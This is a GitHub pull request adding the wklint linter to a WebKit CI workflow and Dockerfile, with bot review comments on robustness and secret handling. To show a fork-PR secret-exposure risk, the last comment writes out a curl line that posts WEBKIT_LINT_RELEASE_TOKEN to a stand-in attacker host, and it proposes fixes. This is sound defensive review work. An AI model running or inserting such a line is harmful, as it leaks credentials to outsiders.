-
Notifications
You must be signed in to change notification settings - Fork 56
Run wklint (JSC exception-check linter) during the Linux amd64 debug build #314
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: main
Are you sure you want to change the base?
Changes from all commits
42abe86
ba78a44
e65dc0b
9abd4f9
a928c9f
25a97b5
e6fc970
6dbb517
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -22,6 +22,14 @@ | |
| description: 'LLVM version to use' | ||
| type: string | ||
| default: '19' | ||
| wklint_tag: | ||
| description: 'oven-sh/webkit-lint release for the JSC exception-check linter: "latest", an "autobuild-<sha>" tag, or "off" (empty falls back to the WKLINT_TAG repo variable, then latest)' | ||
| type: string | ||
| default: '' | ||
| secrets: | ||
| WEBKIT_LINT_RELEASE_TOKEN: | ||
| description: 'Read access to oven-sh/webkit-lint releases (optional; the linter is skipped without it)' | ||
| required: false | ||
|
coderabbitai[bot] marked this conversation as resolved.
|
||
| outputs: | ||
| release_tag: | ||
| description: 'The release tag that was created' | ||
|
|
@@ -40,6 +48,7 @@ | |
| package_json_arch: "x64" | ||
| CMAKE_BUILD_TYPE: "Debug" | ||
| RELEASE_FLAGS: "-O3 -DNDEBUG=1" | ||
| wklint: "true" | ||
| - lto_flag: "" | ||
| label: bun-webkit-linux-arm64-debug | ||
| os: linux-arm64-gh | ||
|
|
@@ -124,6 +133,8 @@ | |
| env: | ||
| RELEASE_FLAGS: ${{matrix.RELEASE_FLAGS}} | ||
| ENABLE_SANITIZERS: ${{matrix.ENABLE_SANITIZERS}} | ||
| WKLINT_TAG: ${{ matrix.wklint == 'true' && (inputs.wklint_tag || vars.WKLINT_TAG || 'latest') != 'off' && (inputs.wklint_tag || vars.WKLINT_TAG || 'latest') || '' }} | ||
| WEBKIT_LINT_RELEASE_TOKEN: ${{ secrets.WEBKIT_LINT_RELEASE_TOKEN }} | ||
|
claude[bot] marked this conversation as resolved.
|
||
| run: | | ||
| rm -rf ${{runner.temp}}/bun-webkit ${{runner.temp}}/bun-webkit.tar.gz | ||
| if [ "${{matrix.package_json_arch}}" = "arm64" ]; then | ||
|
|
@@ -137,12 +148,60 @@ | |
| echo '{ "name": "${{matrix.label}}", "version": "0.0.1-${{ inputs.build_ref }}", "os": ["linux"], "cpu": ["${{matrix.package_json_arch}}"], "repository": "https://github.com/${{github.repository}}" }' > bun-webkit/package.json | ||
| rm -rf bun-webkit/lib/*.so | ||
| rm -rf bun-webkit/lib/*.so.* | ||
| # wklint results live in the artifact output dir whenever the linter was | ||
| # invoked (the exit-code file is written even if the run failed early). | ||
| if [ -f bun-webkit/wklint-exit-code ]; then | ||
| cp bun-webkit/wklint-exit-code . 2>/dev/null || true | ||
| cp bun-webkit/wklint-findings.json bun-webkit/wklint-report.txt bun-webkit/wklint-log.txt . 2>/dev/null || true | ||
| rm -f bun-webkit/wklint-findings.json bun-webkit/wklint-report.txt bun-webkit/wklint-log.txt bun-webkit/wklint-exit-code | ||
| fi | ||
| tar -czf bun-webkit.tar.gz bun-webkit | ||
| rm -rf bun-webkit | ||
| - uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2 | ||
| with: | ||
| name: ${{matrix.label}} | ||
| path: ${{runner.temp}}/bun-webkit.tar.gz | ||
| - name: Report wklint (JSC exception-check) findings | ||
| if: matrix.wklint == 'true' | ||
| working-directory: ${{runner.temp}} | ||
| run: | | ||
| if [ ! -f wklint-exit-code ]; then | ||
| echo "wklint did not run (WKLINT_TAG not set); skipping." | ||
| exit 0 | ||
| fi | ||
| exit_code=$(cat wklint-exit-code) | ||
| echo "wklint exit code: $exit_code" | ||
| cat wklint-report.txt || true | ||
| if [ "$exit_code" != "0" ] && [ "$exit_code" != "1" ]; then | ||
| # Tool / infrastructure error (parse failures, crash): surface it without | ||
| # blocking the build during the soft launch. | ||
| echo "::warning title=wklint::wklint exited with $exit_code (tool error); see wklint-log.txt in the wklint-findings artifact" | ||
| tail -40 wklint-log.txt 2>/dev/null || true | ||
| exit 0 | ||
| fi | ||
| if [ "$exit_code" = "1" ]; then | ||
| new=$(grep -c ' warning: ' wklint-report.txt || true) | ||
| { | ||
| echo "### wklint: $new new unchecked-exception finding(s)" | ||
| echo | ||
| echo "These are JSC exception-check patterns not covered by \`Tools/wklint/expectations.yaml\`." | ||
| echo "Fix them, or add an entry with a \`reason:\` if the finding is a known/latent case." | ||
| echo | ||
| echo '```' | ||
| head -60 wklint-report.txt | ||
| echo '```' | ||
| } >> "$GITHUB_STEP_SUMMARY" | ||
| echo "::warning title=wklint::$new new unchecked-exception finding(s); see the job summary" | ||
| exit 1 | ||
|
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. 🟡 nit: the Extended reasoning...What this isThe Step-by-step
Why nothing prevents itBefore this PR, a Addressing the counter-argumentsThis is a design trade-off, not a correctness defect, and there are reasonable arguments for the current behaviour:
ImpactMinor CI-ergonomics only. Nothing ships incorrectly (the FixOne line under strategy:
fail-fast: false
matrix:Or, if the compute saving is preferred, leave as-is — this is not blocking. |
||
| fi | ||
|
claude[bot] marked this conversation as resolved.
|
||
| - uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2 | ||
| if: matrix.wklint == 'true' && always() | ||
| with: | ||
| name: wklint-findings | ||
| path: | | ||
| ${{runner.temp}}/wklint-findings.json | ||
| ${{runner.temp}}/wklint-report.txt | ||
| if-no-files-found: ignore | ||
|
Check warning on line 204 in .github/workflows/build-reusable.yml
|
||
|
Comment on lines
+200
to
+204
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. 🟡 nit: 6dbb517 added Extended reasoning...What the gap isCommit 6dbb517 addressed the earlier review comment about Code pathThe Dockerfile redirects wklint's stderr to Why the existing code doesn't cover itThe author's own status comment on 6dbb517 says the fix "keeps Step-by-step
Impact / why this is a nitOnly the tool-error path (exit code ∉ {0,1}) references this file, and Relationship to the earlier commentThe earlier inline comment on this block described the pre-6dbb517 state (log missing from both the FixAdd one line to the path: |
${{runner.temp}}/wklint-findings.json
${{runner.temp}}/wklint-report.txt
${{runner.temp}}/wklint-log.txt
|
||
|
|
||
| windows-cross: | ||
| name: Windows (cross-compiled from Linux) | ||
|
|
||
| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -6,6 +6,10 @@ ARG RELEASE_FLAGS="-O3 -DNDEBUG=1" | |
| ARG LLVM_VERSION="21" | ||
| ARG DEFAULT_CFLAGS="-mno-omit-leaf-frame-pointer -g -fno-omit-frame-pointer -ffunction-sections -fdata-sections -faddrsig -fno-unwind-tables -fno-asynchronous-unwind-tables -DU_STATIC_IMPLEMENTATION=1 " | ||
| ARG ENABLE_SANITIZERS="" | ||
| # wklint (JSC exception-check linter) release from oven-sh/webkit-lint: | ||
| # "latest", a specific "autobuild-<sha>" tag, or "" (default: do not lint). | ||
| # The prebuilt is x86-64 only, so it also stays off on non-amd64 builds. | ||
| ARG WKLINT_TAG="" | ||
| ARG USE_MIMALLOC="OFF" | ||
| ARG USE_EXTERNAL_MIMALLOC="OFF" | ||
|
|
||
|
|
@@ -25,6 +29,7 @@ ARG TARGETARCH | |
| ARG ENABLE_SANITIZERS | ||
| ARG USE_MIMALLOC | ||
| ARG USE_EXTERNAL_MIMALLOC | ||
| ARG WKLINT_TAG | ||
|
|
||
| # Prevent interactive prompts | ||
| ENV DEBIAN_FRONTEND=noninteractive | ||
|
|
@@ -109,6 +114,30 @@ RUN wget https://apt.llvm.org/llvm.sh \ | |
| && rm llvm.sh \ | ||
| && rm -rf /var/lib/apt/lists/* | ||
|
|
||
| # wklint: JSC exception-check static analyzer (oven-sh/webkit-lint prebuilt). | ||
| # Fetched only when WKLINT_TAG is set; the token is a BuildKit secret because | ||
| # the release lives in an internal repository. | ||
| RUN --mount=type=secret,id=WEBKIT_LINT_RELEASE_TOKEN \ | ||
| if [ -n "$WKLINT_TAG" ] && [ "$TARGETARCH" = "amd64" ]; then \ | ||
| if [ ! -f /run/secrets/WEBKIT_LINT_RELEASE_TOKEN ]; then \ | ||
| echo "wklint: WKLINT_TAG is set but the WEBKIT_LINT_RELEASE_TOKEN secret is missing; skipping the linter."; \ | ||
| exit 0; \ | ||
| fi; \ | ||
| set -eu; \ | ||
| token=$(cat /run/secrets/WEBKIT_LINT_RELEASE_TOKEN); \ | ||
|
claude[bot] marked this conversation as resolved.
|
||
| if [ "$WKLINT_TAG" = "latest" ]; then \ | ||
| api="https://api.github.com/repos/oven-sh/webkit-lint/releases/latest"; \ | ||
| else \ | ||
| api="https://api.github.com/repos/oven-sh/webkit-lint/releases/tags/${WKLINT_TAG}"; \ | ||
| fi; \ | ||
| asset_url=$(curl -fsSL -H "Authorization: token ${token}" "$api" \ | ||
| | python3 -c 'import json,sys; print([a["url"] for a in json.load(sys.stdin)["assets"] if a["name"].endswith("-linux-x64.tar.zst")][0])'); \ | ||
| curl -fsSL -H "Authorization: token ${token}" -H "Accept: application/octet-stream" \ | ||
| -o /tmp/wklint.tar.zst "$asset_url"; \ | ||
| mkdir -p /opt && tar -I zstd -xf /tmp/wklint.tar.zst -C /opt && rm /tmp/wklint.tar.zst; \ | ||
| /opt/wklint-linux-x64/bin/wklint --version; \ | ||
| fi | ||
|
Comment on lines
+120
to
+139
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. 🟡 nit: the Extended reasoning...What this isThe wklint fetch
Under Why the existing soft-fail doesn't cover itThe PR description says "A lint failure never fails the image build", and that guarantee is implemented — but only around the analysis step (Dockerfile:323-335), which does This is a different trigger from the two Dockerfile comments already on the PR:
Step-by-step proofAssume the secret is configured and
The same trace applies to a transient GitHub API 502, or to a webkit-lint release published without the Impact and why it's a nitThis is a robustness/design observation rather than a correctness defect:
FixWrap the fetch body so failure degrades to skip-lint (matching the analysis step's optionality): if [ -n "$WKLINT_TAG" ] && [ "$TARGETARCH" = "amd64" ]; then \
set -u; \
{ \
token=$(cat /run/secrets/WEBKIT_LINT_RELEASE_TOKEN); \
... \
/opt/wklint-linux-x64/bin/wklint --version; \
} || { echo 'wklint fetch failed; skipping lint' >&2; rm -rf /opt/wklint-linux-x64; }; \
fi(Removing the partial |
||
|
|
||
| # Configure library paths | ||
| RUN if [ "$TARGETARCH" = "arm64" ]; then \ | ||
| export ARCH_PATH="aarch64-linux-gnu"; \ | ||
|
|
@@ -295,6 +324,19 @@ RUN --mount=type=tmpfs,target=/webkitbuild \ | |
| cd /webkitbuild && \ | ||
| cmake --build /webkitbuild --config $WEBKIT_RELEASE_TYPE --target "jsc" && \ | ||
| python3 /webkit/Tools/Scripts/check-classinfo-uniqueness.py $WEBKIT_OUT_DIR/bin/jsc && \ | ||
| if [ -x /opt/wklint-linux-x64/bin/wklint ]; then \ | ||
| set +e; \ | ||
| python3 /opt/wklint-linux-x64/tools/wklint-run.py \ | ||
| -p /webkitbuild --wklint /opt/wklint-linux-x64/bin/wklint \ | ||
| --files 'JavaScriptCore/DerivedSources/unified-sources/UnifiedSource-.*\.cpp' \ | ||
| --checks 'jsc-*' --source-root /webkit \ | ||
| --workdir /webkitbuild/wklint-cache \ | ||
| --expectations /webkit/Tools/wklint/expectations.yaml \ | ||
| --json-out /output/wklint-findings.json \ | ||
| > /output/wklint-report.txt 2> /output/wklint-log.txt; \ | ||
| echo $? > /output/wklint-exit-code; \ | ||
| set -e; \ | ||
| fi && \ | ||
| cp -r $WEBKIT_OUT_DIR/lib/*.a /output/lib && \ | ||
| cp $WEBKIT_OUT_DIR/*.h /output/include && \ | ||
| cp -r $WEBKIT_OUT_DIR/bin /output/bin && \ | ||
|
|
||
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
🟡 nit:
secrets: inherithere means a maintainer who dispatches this workflow withpr_numberpointing at a fork PR now handsWEBKIT_LINT_RELEASE_TOKEN(and any future repo secret the reusable workflow references) to the fork'srelease.sh— the permission check ispull_request-only andbuild_refis the fork's head SHA. The token is low-value and this path already ran fork code with acontents: writeGITHUB_TOKEN, so it's incremental; but since wklint gating only really matters onmainpushes, consider droppingsecrets: inheritfrom this caller (keep it onbuild.ymlonly), or pass the single secret explicitly gated onhead.repo.full_name == github.repository.Extended reasoning...
What the concern is
Commit e65dc0b adds
secrets: inherittobuild-preview.yml's call intobuild-reusable.yml(fixing the earlier "secret not propagated" review comment).build-preview.ymlalso has aworkflow_dispatchinputpr_numberwhose stated purpose — per the permission-check error message on line 43, "Preview builds must be triggered manually via workflow_dispatch" — is to let a maintainer trigger a preview build for a PR that did not auto-trigger, i.e. a fork PR. That combination lets fork-controlled shell code read the forwarded secret.Code path
pr_number: Nfor an external fork PR.workflow_dispatchruns in the base-repo context with full repository secrets (GitHub's fork-secret restriction applies only topull_request-triggered runs, not to a dispatch that references a fork PR).triggerjob: the "Check permissions" step is gated onif: github.event_name == 'pull_request'(line 32) and is skipped. Theprstep callspulls.getand setssha = pr.head.sha— the fork's commit.buildjob:uses: ./.github/workflows/build-reusable.ymlwithsecrets: inherit(new in this PR) andbuild_ref: <fork-sha>.linuxjob (all 10 matrix legs):actions/checkoutwithref: ${{ inputs.build_ref }}checks out the fork's tree — fork PR head commits are fetchable from the base repo viarefs/pull/N/head, so this succeeds without cross-repo credentials.build-reusable.yml:137setsenv: WEBKIT_LINT_RELEASE_TOKEN: ${{ secrets.WEBKIT_LINT_RELEASE_TOKEN }}unconditionally on every leg, then executesbash release.sh— the fork's script — with the token in its environment.A fork PR that adds
curl -d "$WEBKIT_LINT_RELEASE_TOKEN" https://attacker/torelease.shexfiltrates the token as soon as a maintainer preview-builds it. Actions log masking hides the value in log output but does not prevent network exfiltration.Why existing safeguards don't prevent it
trigger-job permission check only runs forpull_requestevents;workflow_dispatchbypasses it entirely (and the dispatcher already has write — the untrusted party is the fork author).secrets:block on this call, sosecrets.WEBKIT_LINT_RELEASE_TOKENevaluated to empty inside the reusable workflow and nothing was exposed.secrets: inheritis what makes it reachable.secrets: inheritforwards all repository secrets, not just the one declared underon.workflow_call.secrets. Any future secret added to the repo and referenced in a stepenv:becomes reachable via the same path.Step-by-step proof
release.shadds one line:curl -sS -d "$WEBKIT_LINT_RELEASE_TOKEN" https://attacker.example/t || true.pull_requestevent, the permission check fails (fork author has no write) — no build, no exposure. This is why the dispatch path exists.workflow_dispatchwithpr_number: 500.github.event_name == 'workflow_dispatch'→ permission check step'sif:is false → skipped.pulls.get({pull_number: 500})→sha = <fork-head-sha>;build_refis set to it.buildjob runs withsecrets: inherit→ inside the reusable workflow,secrets.WEBKIT_LINT_RELEASE_TOKENis the real token.bun-webkit-linux-amd64-debugleg (and every other linux leg),actions/checkoutfetches<fork-head-sha>, thenbash release.shruns withWEBKIT_LINT_RELEASE_TOKEN=ghp_…in its env → the injectedcurlposts it.Impact / why this is a nit
oven-sh/webkit-lintreleases (leaks a private linter binary) — small blast radius.workflow_dispatch-on-fork-PR path already checks out and runs fork-controlledrelease.shunderpermissions: contents: write, i.e. with a write-capableGITHUB_TOKENpersisted byactions/checkout. So the underlying "fork code runs in a privileged context" architecture predates this PR; this change adds one low-privilege credential to that surface. The design concern worth flagging is thatinheritis a broad grant that will silently extend to any future higher-value secret.Suggested fix
Either of these keeps the wklint feature working while narrowing the grant:
secrets: inheritfrombuild-preview.ymland keep it only onbuild.yml. wklint gating matters onmainpushes; on a preview build the linter simply skips (release.shclearsWKLINT_TAGwhen the token is empty). Simplest option.inheritwith an explicit mapping that passes the secret only for same-repo heads, e.g. computesame_repoin thetriggerjob frompr.head.repo.full_nameand passsecrets: WEBKIT_LINT_RELEASE_TOKEN: ${{ needs.trigger.outputs.same_repo == 'true' && secrets.WEBKIT_LINT_RELEASE_TOKEN || '' }}.build-reusable.yml, gate theWEBKIT_LINT_RELEASE_TOKENenv onmatrix.wklint == 'true' && !inputs.is_prereleaseso preview builds never see it.